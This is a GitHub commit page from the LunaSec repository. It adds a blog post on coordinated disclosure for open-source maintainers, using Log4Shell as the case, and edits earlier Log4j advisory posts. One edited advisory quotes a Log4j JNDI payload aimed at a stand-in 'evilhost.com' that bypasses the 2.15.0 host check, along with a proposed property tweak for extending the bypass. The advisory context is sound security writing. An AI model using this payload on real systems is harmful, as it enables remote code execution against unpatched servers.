Skip to content

Commit

Permalink
WIP OSS patching blog post (#348)
Browse files Browse the repository at this point in the history
* WIP OSS patching blog post

* small post edits

* oss patching blog post drafted

* update date and truncate

* get license out of PR template and add to ignore file

* explain more why people need to know to security patch

* update intro wording

* edits to include githubs tooling

* more credit to google

* nits

* change a link

Co-authored-by: breadchris <chris@lunasec.io>
  • Loading branch information
factoidforrest and breadchris authored Dec 18, 2021
1 parent 998c69d commit a33566d
Show file tree
Hide file tree
Showing 13 changed files with 237 additions and 7 deletions.
10 changes: 10 additions & 0 deletions .idea/runConfigurations.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

5 changes: 4 additions & 1 deletion .lintstagedrc.js
Original file line number Diff line number Diff line change
Expand Up @@ -143,7 +143,10 @@ module.exports = (allStagedFiles) => {
const creativeCommonsConfigInfo = rewriteLicenseFile(
creativeCommons,
allStagedFiles,
file => file.match(markdownRegex)
(file) => {
console.log('looping file ' ,file)
return file.match(markdownRegex) && !file.match(/pull_request_template.md/)
}
);

// Only append the license check step if we have a valid config.
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,9 @@ You may still be vulnerable to Log4Shell (RCE) if you only enabled the `formatMs
upgrade to `>= 2.15.0` or else you will still be vulnerable to RCE.

:::note For version `2.15.0`
** Update ** There has been a limited RCE discovered in `2.15.0` and the [severity has been upgraded](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/)
from `3.7 -> 9.0`.

We found that the DOS outlined in the CVE was not actually impactful because it did not consume resources
during our testing (see [below](#notes-on-the-denial-of-service-in-2.15.0)).

Expand Down Expand Up @@ -187,6 +190,9 @@ resolving of `${ctx:apiversion}` which will contain our payload.

### Notes on the Denial-of-Service in 2.15.0

** Update ** There has been a limited RCE discovered in `2.15.0` and the [severity has been upgraded](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/)
from `3.7 -> 9.0`.

The less impactful part of this CVE, if you have updated your Log4j version to `2.15.0`, is that there is a limited
denial of service (DOS) possible under certain circumstances. See the below screenshot:

Expand Down Expand Up @@ -235,4 +241,5 @@ If you would like to contribute, or notice any errors, this post is an Open Sour

1. Updated 12/15/21: Updated "Conditions for the Vulnerability" section from "upgrade to `2.16.0`" to "upgrade to `>= 2.15.0`", see [this GitHub issue](https://github.com/lunasec-io/lunasec/issues/316)
2. Updated 12/15/21: Updated all instances of `noFormatMsgLookup` to be the correct `formatMsgNoLookups`, see [this GitHub issue](https://github.com/lunasec-io/lunasec/issues/317)
3. Updated 12/16/21: Added links to other blog posts.
3. Updated 12/16/21: Added links to other blog posts.
3. Updated 12/18/21: Updated note about 2.15.0 that RCE has been found.
Original file line number Diff line number Diff line change
Expand Up @@ -15,10 +15,6 @@ authors:
title: Developer at Lunasec
url: https://github.com/breadchris
image_url: https://github.com/breadchris.png
- name: Forrest Allison
title: Developer at LunaSec
url: https://github.com/factoidforrest
image_url: https://github.com/factoidforrest.png

---
<!--
Expand Down
22 changes: 21 additions & 1 deletion docs/blog/2021-12-17-log4j-update-increased-cvss.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,9 @@ authors:
_The logo gets worse as the situation gets worse..._

Earlier today, the second Log4j vulnerability (CVE-2021-45046) was upgraded from a [CVSS score of 3.7](https://web.archive.org/web/20211215180723/https://logging.apache.org/log4j/2.x/security.html)
(limited DOS) to a [CVSS score of 9.0](https://logging.apache.org/log4j/2.x/security.html) (limited RCE).
(limited DOS) to a [CVSS score of 9.0](https://logging.apache.org/log4j/2.x/security.html) (limited RCE). Note: the reported
limited RCE has only been proven to be exploitable on macOS at the moment. We expect, in time, that other operating systems
will also be shown to be exploitable.

See the bottom of this post for an example exploit payload that bypasses the checks in log4j 2.15.0.

Expand Down Expand Up @@ -137,6 +139,20 @@ This payload will bypass the network host restrictions in log4j 2.15.0 and allow
${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
```

As noted in the security report, a proof of concept exploit has only been successfully executed on macOS. Considering
how many Java developers may use macOS, this is still a significant finding.

We are still investigating how to have this exploit work properly on other operating systems. It has been proposed that
[changing the default provider](https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html#:~:text=sun.net.spi.nameservice.provider.%3Cn%3E%3D%3Cdefault%7Cdns%2Csun%7C...%3E)
to `dns,sun`:

```
System.setProperty("http://sun.net.spi.nameservice.provider.1", "dns,sun")
```

will cause the exploit to bypass the allowed hosts check in `2.15.0` properly. However, we have not been able to replicate
this yet.

## Stay Updated

Please follow us on [Twitter](https://twitter.com/LunaSecIO) or add yourself to our mailing list below, and we'll
Expand Down Expand Up @@ -170,3 +186,7 @@ confused about our advice, please [file an Issue](https://github.com/lunasec-io/
If you would like to contribute, or notice any errors, this post is an Open Source Markdown file on
[GitHub](https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2021-12-17-log4j-update-increased-cvss.mdx).
:::

### Edits

1. Added a note that the RCE has only been provably exploitable on macOS
191 changes: 191 additions & 0 deletions docs/blog/2021-12-18-open-source-patching.mdx
Original file line number Diff line number Diff line change
@@ -0,0 +1,191 @@
---
title: "How to Discuss and Fix Vulnerabilities in Your Open Source Library"
description: Using the Log4Shell disaster to explain how to properly discuss and patch vulnerabilities in Open Source software.
slug: how-to-mitigate-open-source
date: 2021-12-18
keywords: [open-source, vulnerability, patching, PR, pull-release]
tags: [zero-day, security, data-security, data-breaches, guides]
authors:
- name: Forrest Allison
title: Developer at LunaSec
url: https://github.com/factoidforrest
image_url: https://github.com/factoidforrest.png
- name: Free Wortley
title: CEO at LunaSec
url: https://github.com/freeqaz
image_url: https://github.com/freeqaz.png
---

<!--
~ Copyright by LunaSec (owned by Refinery Labs, Inc)
~
~ Licensed under the Creative Commons Attribution-ShareAlike 4.0 International
~ (the "License"); you may not use this file except in compliance with the
~ License. You may obtain a copy of the License at
~
~ https://creativecommons.org/licenses/by-sa/4.0/legalcode
~
~ See the License for the specific language governing permissions and
~ limitations under the License.
~
-->

The worldwide scramble to fix the Log4Shell vulnerability has resulted in a number of paths to resolution without a single
trusted, clear, and concise recommendation. Ever since our initial report on the Log4Shell vulnerability, we have made
countless updates to our posts over the past week as more information is uncovered and new vulnerabilities are found.
Ideally, the narrative would be much clearer for a library which is [so widely used](https://www.contrastsecurity.com/security-influencers/log4shell-by-the-numbers?utm_campaign=WD-Log4jOffer-Q4FY22&utm_content=191438199&utm_medium=social&utm_source=twitter&hss_channel=tw-453210489).

We feel that the chaos which has followed the initial report of the Log4Shell vulnerability started with how the public patching
of Log4j was handled on GitHub. This is a step-by-step guide for Open Source maintainers on how to handle the security
patching process properly, using the Log4Shell incident as a retrospective.

<!--truncate-->

Maybe some are more careful than others, but something like Log4Shell could happen to many of us who work in the Open Source world.
Putting aside vulnerability prevention for a moment, let's talk about what to do when you find out that you released something insecure.
Staying calm and knowing what to do when the time comes could save a lot of damage down the road.

### Things they don't teach you in school
As a "normal" developer who works alongside security engineers, I hear them mention all kinds of best practices that I've never heard of.
It turns out that how to properly deal with vulnerabilities in a project you use or contribute to,
right down to what you say on GitHub, can be just as important as the patch itself.

Log4j is a great case study because even though people had the best intentions, things went catastrophically wrong. At the
center of the story we have a couple of developers donating their spare time, doing their best. This is absolutely not
meant to be a hit piece against them or Open Source software, but instead a guide to help the next person handle things the right way.
Together, let's learn how to do this properly.

### Hackers are crawling GitHub looking for security patches

Finding a vulnerability in a project and contributing a fix can be pretty exciting. Unfortunately, the fact
that something is being patched can reveal to outsiders that a vulnerability must have existed in the first place.
It's trivially easy to write a webcrawler that looks through GitHub for the words
"vulnerability", "security", "injection", "exploit", etc...
and find a package where the last version, if not the current one, has a vulnerability ready to be turned into an exploit.
Those crawlers are up and running _right now_, reading your comments and looking for the next 0day.

## It's about being discreet

### Reporting the vulnerability

How the vulnerability first gets reported is critical. In the case of Log4j, contrary to what you might think,
it looks like everything went right. According to the Log4Shell [Wikipedia page](https://en.wikipedia.org/wiki/Log4Shell), the vulnerability was reported
*privately* to the apache team way back on November 24th by Chen Zhaojun of
Alibaba Cloud Security Team.

If you are someone spotting a vulnerability for the first time, this is exactly what you should do.
We can also see that Mitre site created the CVE, **in private**, two days later, november 26th.

![Picture of CVE date](/img/cve-date.png)

Up until this point, it was security professionals following a well documented practice called [Responsible Disclosure](https://en.wikipedia.org/wiki/Responsible_disclosure).
Let's move on to what happened next:

### Patching the vulnerability

Often just the nature of the patch can alert those who know what to look for, even without
anyone spelling out that it's a vulnerability.

Let's look at the first [Log4j PR](https://github.com/apache/logging-log4j2/pull/608).

![PR header](/img/log4j-pr-header.png)

At first glance it doesn't look too bad, at least to an average dev. Unfortunately, bad actors probably noticed this PR
almost right away.
Let's look at the files committed:

![exploit patch file name](/img/log4j-exploit-file.png)

In the PR, there is literally a file named `JndiExploit.java`. Even without using the word exploit, the word JNDI could
have been enough to attract bad actors.

![person on github asking publicly if its a vuln](/img/security-question-log4j.png)

Cat's out of the bag. It's almost certain this PR, made with the best intentions, made things far worse.

In the end, the vulnerability went public before Log4j was ready to ship a fix, and they were left scrambling.
Their first release of version `2.15.0`, which much of the community installed, [proved to still have issues](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/).
They had to release a second patch in `2.16.0` which we seriously hope is seeing widespread adoption.

## How to do it right

### Step 1: Mitigate in private
Open source software is public, which means eventually the patch will need to be public. We want that to happen
when we are as ready for it as possible, **not before**, so:

#### Use GitHub's Security Advisories and Temporary Private Forks
Developers will need a private space to work on a patch and get ready before that happens.
This will give them space to make the change, discuss it, prepare a release, and get documentation ready.

GitHub actually has a new
built-in feature for this scenario, called a [Github Security Advisory](https://docs.github.com/en/code-security/security-advisories/creating-a-security-advisory).
This tooling walks you through the process of creating a private space to talk about the issue. It can link to or create a CVE, notify your users when the time comes,
and even helps you create a linked [Temporary Private Fork](https://docs.github.com/en/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability)
in which to work. You should absolutely use this feature and make a private fork.
CI won't run in this fork which means you will need to be careful and test locally, but this is worth the trade-off for privacy.

![github security advisory creation](/img/security-advisory-new-draft-security-advisory-button.png)

As the maintainer, it's also your responsibility to request a CVE. GitHub is a CVE Numbering Authority, meaning you can create a
CVE through them. [Request a CVE](https://docs.github.com/en/code-security/security-advisories/about-github-security-advisories#cve-identification-numbers)
from the Security Advisory you created above. Being a part of the process helps make sure the CVE is accurate and not confusing
and miscategorized like some of the log4j CVEs.

Ideally, a security person will be brought into this private process to audit the change, if you can get one. Side note: We are considering
founding a non-profit to give projects this help, and if that's something you'd like to see please [let us know](https://docs.google.com/forms/d/e/1FAIpQLSd1yaB-3ob4yNnHBDzmFvrnl0VyViT234kpdcvadX-9G2M3eQ/viewform?usp=sf_link).

Once a release has been drafted, this is an excellent time to bring in some of your biggest users to try it out. This has
the benefit of testing your patch, getting more eyes on the problem, and making sure those consumers have their
own patched releases ready to go. Let them know they should do this work in private.

In the case of Apache, it would have been better if the biggest users of log4j (like Apache Struts) were alerted privately. They could have
had their own privately prepared releases ready to go public when log4shell did.

In summary, doing it in private gives space and time to go through and fix things properly. Use GitHub's built-in tool to help
you manage the process.

### Step 2: Release Simultaneously
Now it's time to rip the bandage off. Merge all changes, releases, and documentation at the same time. Publish the GitHub
Security Advisory you created above. Coordinate with any consumers
that took your change early. This process is called **coordinated disclosure**.

Hopefully the documentation and Security Advisory contain all the information needed by users to patch the change, right away.
Generally, this is just explaining the vulnerability and pointing to the new release.

Making noise and getting the word out about the vulnerability is going to make for more people updating.
In the case of larger projects and more serious vulnerabilities, it might be a good idea to contact the press directly.
This can help you keep a handle on the reporting and let you control the narrative around how to fix it.

## Educate your contributors
The above process is something that your contributors need to know about ahead of time. Personally, I would recommend a short warning
about the proper way to patch security problems in your Issue and Pull Request templates.

Ours looks like:

**STOP**: Is this a **security vulnerability**? If so, follow Responsible Disclosure and email us at email@email.com instead of opening an issue.

It's a good idea to say something similar in your README and to create a `SECURITY.md` file in the root of your project with disclosure instructions.
Here is React's [`SECURITY.md`](https://github.com/facebook/react/security/policy), for example.

If you want to customize the process further, here are some useful [templates](https://github.com/google/oss-vulnerability-guide/tree/main/templates)
for opening security policies and reporting vulnerabilities.

It might not be a bad idea to link to this blog post or the resources below if you are a security researcher reporting a vulnerability to a project.
Maybe if that had happened with log4j, it would have been handled differently.

## Other resources
* Github's guide on [coordinated disclosure](https://docs.github.com/en/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities)
* Google has compiled a very good but little-known [comprehensive guide](https://github.com/google/oss-vulnerability-guide) on dealing with exactly these situations. Big thank you to them for publishing this.
* OpenSSF has a [Vulnerability Disclosures Working Group](https://github.com/ossf/wg-vulnerability-disclosures) that works to improve vulnerability disclosures in Open Source Software.

## That's it
These steps aren't that hard to follow, but they're different from the normal development flow of Open Source software.
Coordinated disclosure is common knowledge in security communities, but now we can say for sure
that not every Open Source developer knows how to do it.
Not everyone has a background in security, and that's okay. It's [our goal](https://www.lunasec.io/docs/) to make security
as easy and accessible as possible for everyday developers.

### Stay in the loop
import ContactForm from '../src/components/ContactForm.jsx'

<ContactForm/>
Binary file added docs/static/img/cve-date.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/static/img/log4j-exploit-file.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/static/img/log4j-pr-header.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/static/img/security-question-log4j.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
2 changes: 2 additions & 0 deletions pull_request_template.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
**STOP**: Is this a **security vulnerability**? If so, follow Responsible Disclosure and email us at security@lunasec.io
instead of opening a public PR.
1 change: 1 addition & 0 deletions tools/license-checker/configs/CC-BY-SA-4_0.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@ header:
- 'docs/**/*.json'
- 'tools/license-checker/skywalking-*/**'
- '**/node_modules/**'
- 'pull_request_template.md'
comment: on-failure

license-location-threshold: 3000

0 comments on commit a33566d

Please sign in to comment.